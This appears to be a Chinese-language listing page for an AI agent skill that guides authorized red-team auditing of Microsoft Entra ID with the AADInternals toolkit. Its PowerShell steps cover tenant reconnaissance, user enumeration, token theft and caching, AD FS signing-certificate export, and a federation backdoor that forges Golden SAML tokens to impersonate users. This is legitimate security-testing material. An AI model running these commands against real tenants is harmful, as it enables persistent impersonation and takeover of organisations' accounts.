Communitygithub.com

使用AADInternals审核Microsoft Entra ID

驱动AADInternals PowerShell工具包,执行Microsoft Entra ID租户侦察、跨Microsoft API的访问令牌获取以及联合身份验证/AD FS后门测试(Golden SAML, T1606.002),用于防御性验证。

使用AADInternals审核Microsoft Entra ID 是什么?

该技能指导用户使用AADInternals PowerShell工具包对Microsoft Entra ID(原Azure AD)进行授权安全测试,重点是防御性验证。AADInternals由Dr. Nestori Syynimaa开发,提供了数百个以`AADInt`为前缀的cmdlet,覆盖从无凭据的租户侦察(`Invoke-AADIntReconAsOutsider`、`Get-AADIntLoginInformation`)、针对多个Microsoft API(Azure AD Graph、Microsoft Graph、Exchange Online等)的令牌获取,到联合身份验证后门利用(Golden SAML,对应MITRE ATT&CK T1606.002)。该技能在授权红队评估或假设失陷测试中使用,可绘制外部攻击面、确认低权限令牌可访问的资源,并验证AD FS令牌签名证书是否能够抵御Golden SAML攻击。工作流程包括:无凭据侦察、用户枚举(可选)、令牌获取与缓存、认证后的目录枚举、联合身份验证配置检查以及联合身份验证后门/Golden SAML测试(仅限授权环境)。最终产出暴露面文档和加固建议,如保护AD FS令牌签名证书(HSM、限制DKM访问)、监控新的/更改后的联合信任、以及迁移至托管身份验证。 支持的平台:Windows(PowerShell 5.1+),也可通过AADOutsider-py实现跨平台无凭据侦察。

兼容平台~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/auditing-entra-id-with-aadinternals

在你喜欢的 AI 中提问

打开一个已预加载此 Agent Skill 的新对话。

文档

使用AADInternals审核Microsoft Entra ID 是做什么的?

法律声明: 本技能仅用于授权的安全测试、红队演练和教育目的。AADInternals可以伪造SAML令牌并安装联合身份验证后门,从而获得对任何租户用户的持续模拟能力。仅可对您拥有或已获得明确书面授权(测试规则)的租户使用。未经授权使用违反《计算机欺诈和滥用法》及等效法律。

概述

AADInternals是针对Microsoft Entra ID(原Azure AD)、Azure AD Connect和Active Directory联合身份验证服务(AD FS)的最全面的攻击/管理PowerShell工具包,由Dr. Nestori Syynimaa(Gerenios / Secureworks)编写。它公开了数百个cmdlet(全部以AADInt为前缀),覆盖未经身份验证的外部侦察、每个Microsoft API的访问令牌获取、目录操作、AD FS/PTA攻击,以及其最著名的技术:联合身份验证后门,该后门滥用Set-MsolDomainFederationSettings / ConvertTo-AADIntBackdoor路径,使得控制联邦域IssuerUri的攻击者可以为任意用户铸造SAML令牌——对应于MITRE ATT&CK T1606.002(伪造Web凭据:SAML令牌),与SolarWinds(Golden SAML)入侵中使用的技术类别相同。

该工具包根据所需权限级别划分能力。Invoke-AADIntReconAsOutsider和Get-AADIntLoginInformation无需凭证——它们查询公共端点(getuserrealm、OpenID配置、自动发现)以揭示已验证的域名、租户ID、联合身份验证类型、品牌以及是否启用了桌面/无缝SSO。获得立足点后,Get-AADIntAccessTokenFor* cmdlet可以为Azure AD Graph、Microsoft Graph、Exchange Online、SharePoint、Azure Core Management等获取令牌,并可选择缓存令牌,以便后续cmdlet重用。拥有全局管理员(或同步的AD Connect帐户)后,该工具包可以读取目录机密、操作用户并建立联合身份验证后门。

本技能从防御性验证的视角驱动AADInternals:确认外部攻击者可以了解什么,低权限令牌可以访问什么,以及联合身份验证/AD FS配置是否允许Golden SAML——然后提供证据和加固建议。

何时使用

  • 在授权的Entra ID / Microsoft 365红队或假设失陷评估期间
  • 在凭据攻击之前枚举外部攻击面(已验证的域名、联合身份验证类型、SSO)
  • 验证联合身份验证和AD FS令牌签名证书是否受到Golden SAML攻击的保护
  • 测试跨Microsoft第一方API的令牌获取和重放
  • 当构建检测规则(与蓝队Graph日志狩猎技能配合使用)且需要真实的AADInternals遥测数据时

前提条件

  • 包含身份攻击和联合身份验证后门测试的书面授权书
  • 安装了PowerShell 5.1+的Windows主机(或支持子集的PowerShell 7)
  • 对于后门/联合身份验证测试:目标租户中的全局管理员(或等效权限),且需在测试范围内(根据测试规则)
  • 从PowerShell库安装模块:
    Install-Module AADInternals -Scope CurrentUser
    Import-Module AADInternals
    # 跨平台的仅AsOutsider重新实现(无需凭据)也可用:
    #   https://github.com/synacktiv/AADOutsider-py
    
  • 熟悉SAML/WS-Federation、OAuth令牌和Azure AD Connect

目标

  • 执行未经身份验证的租户侦察,枚举已验证的域名、租户ID和联合身份验证类型
  • 获取并缓存Microsoft第一方API的访问令牌
  • 使用身份验证令牌枚举用户/组/角色
  • 在受控、授权的环境中测试联合身份验证后门/Golden SAML路径
  • 记录暴露面并交付加固建议(令牌签名证书保护、联合身份验证监控)

MITRE ATT&CK映射

ID技术在本技能中的应用
T1606.002伪造Web凭据:SAML令牌ConvertTo-AADIntBackdoor + New-AADIntSAMLToken通过受控的联合身份验证IssuerUri为任意用户伪造SAML令牌(Golden SAML)

相关技术:T1087.004 帐户发现:云帐户(侦察),T1528 窃取应用程序访问令牌(令牌获取),T1556.007 修改身份验证过程:混合身份(联合/PTA后门)。

工作流程

步骤1:未经身份验证的外部侦察

无需凭证。识别已验证的域名、租户ID、联合身份验证类型、品牌和SSO状态。

# 对域的完整外部侦察(表格输出)
Invoke-AADIntReconAsOutsider -DomainName "target.com" | Format-Table

# 登录/领域详细信息:联合vs托管、AuthURL、品牌
Get-AADIntLoginInformation -Domain "target.com"

# 租户GUID
Get-AADIntTenantID -Domain "target.com"

步骤2:外部用户枚举(可选,有噪音)

通过GetCredentialType / autologon端点验证用户名是否存在。

# 提供候选UPN列表以测试存在性
Invoke-AADIntUserEnumerationAsOutsider -UserName "[email protected]"
# 或通过管道传递多个:
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider

步骤3:获取并缓存访问令牌

使用有效凭据(或交互式提示),获取所需API的令牌。-SaveToCache允许后续cmdlet自动重用该令牌。

# Azure AD Graph(旧版graph.windows.net)令牌,缓存
Get-AADIntAccessTokenForAADGraph -SaveToCache

# Microsoft Graph (graph.microsoft.com)
$mg = Get-AADIntAccessTokenForMSGraph

# Exchange Online
$exo = Get-AADIntAccessTokenForEXO

步骤4:身份验证后的目录枚举

使用缓存的/获取的令牌,读取目录对象以映射权限。

# 全局租户信息(使用缓存的AAD Graph令牌)
Get-AADIntTenantDetails

# 枚举用户并查找特权/同步帐户
Get-AADIntUsers | Select-Object UserPrincipalName, DirSyncEnabled, ImmutableId

步骤5:检查联合身份验证/AD FS配置

确定租户是否使用联合域以及令牌签名密钥所在位置——这是Golden SAML的先决条件。

# 如果您有AD FS服务器的访问权限,导出令牌签名证书
Export-AADIntADFSSigningCertificate -Path .\adfs_signing.pfx
# 读取AD FS配置/加密密钥(在AD FS机器上或通过DKM)
Get-AADIntADFSConfiguration -Server adfs.target.com

步骤6:联合身份验证后门/Golden SAML(仅限授权)

通过设置已知的IssuerUri将域转换为后门,然后使用该域的ImmutableId为目标用户伪造SAML令牌。仅在受控且具有明确授权的租户中操作。

# 需要步骤3中缓存的全局管理员令牌(AAD Graph)
ConvertTo-AADIntBackdoor -DomainName "backdoor.target.com"
# 输出包括用于伪造令牌时可重用的IssuerUri

# 伪造SAML令牌以模拟用户(ImmutableId来自Get-AADIntUsers)
$saml = New-AADIntSAMLToken -ImmutableID "UQ989+t6fEq9/0ogYtt1pA==" `
    -Issuer "http://backdoor.target.com/adfs/services/trust/" -UseBuiltInCertificate

# 使用伪造的令牌作为模拟用户打开门户会话
Open-AADIntOffice365Portal -SAMLToken $saml

步骤7:记录暴露面并加固

准确记录侦察结果、哪些令牌/API可访问以及后门/Golden SAML路径是否成功。建议:保护AD FS令牌签名证书(HSM、限制DKM访问)、对新/更改的联合信任发出警报、监控Set-DomainAuthentication/Set-MsolDomainFederationSettings,并在可行的情况下迁移到托管(云)身份验证。

工具和资源

资源用途来源
AADInternalsEntra ID / AD FS攻击与管理工具包https://github.com/Gerenios/AADInternals
AADInternals文档Cmdlet参考和技术文章https://aadinternals.com/aadinternals/
AADOutsider-py跨平台AsOutsider重新实现https://github.com/synacktiv/AADOutsider-py
Golden SAML背景联合身份验证后门技术文章https://aadinternals.com/post/aadbackdoor/
MITRE T1606.002伪造Web凭据:SAML令牌https://attack.mitre.org/techniques/T1606/002/

Cmdlet快速参考

Cmdlet权限位置用途
Invoke-AADIntReconAsOutsider无已验证域名、租户ID、联合类型、SSO
Get-AADIntLoginInformation无域的领域/登录详细信息
Get-AADIntTenantID无租户GUID
Invoke-AADIntUserEnumerationAsOutsider无验证用户存在性
Get-AADIntAccessTokenForAADGraph凭证Azure AD Graph令牌(-SaveToCache)
Get-AADIntAccessTokenForMSGraph凭证Microsoft Graph令牌
Get-AADIntAccessTokenForEXO凭证Exchange Online令牌
Get-AADIntUsers令牌枚举目录用户
ConvertTo-AADIntBackdoor全局管理员将域转换为联合身份验证后门
New-AADIntSAMLToken后门为用户伪造SAML令牌(Golden SAML)
Open-AADIntOffice365PortalSAML令牌以模拟用户身份打开门户会话

验证标准

  • 完成外部侦察;记录已验证域名、租户ID和联合身份验证类型
  • 测试了用户枚举(或记录为范围外)
  • 为至少一个Microsoft API获取并缓存访问令牌
  • 执行身份验证后的目录枚举(用户/角色,记下同步帐户)
  • 评估了联合身份验证/AD FS配置是否存在令牌签名密钥暴露风险
  • 在授权的受控租户中测试了后门/Golden SAML路径,或记录为范围外
  • 以具体影响记录暴露面
  • 交付加固建议(证书保护、联合身份验证监控、托管身份验证迁移)

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

相关技能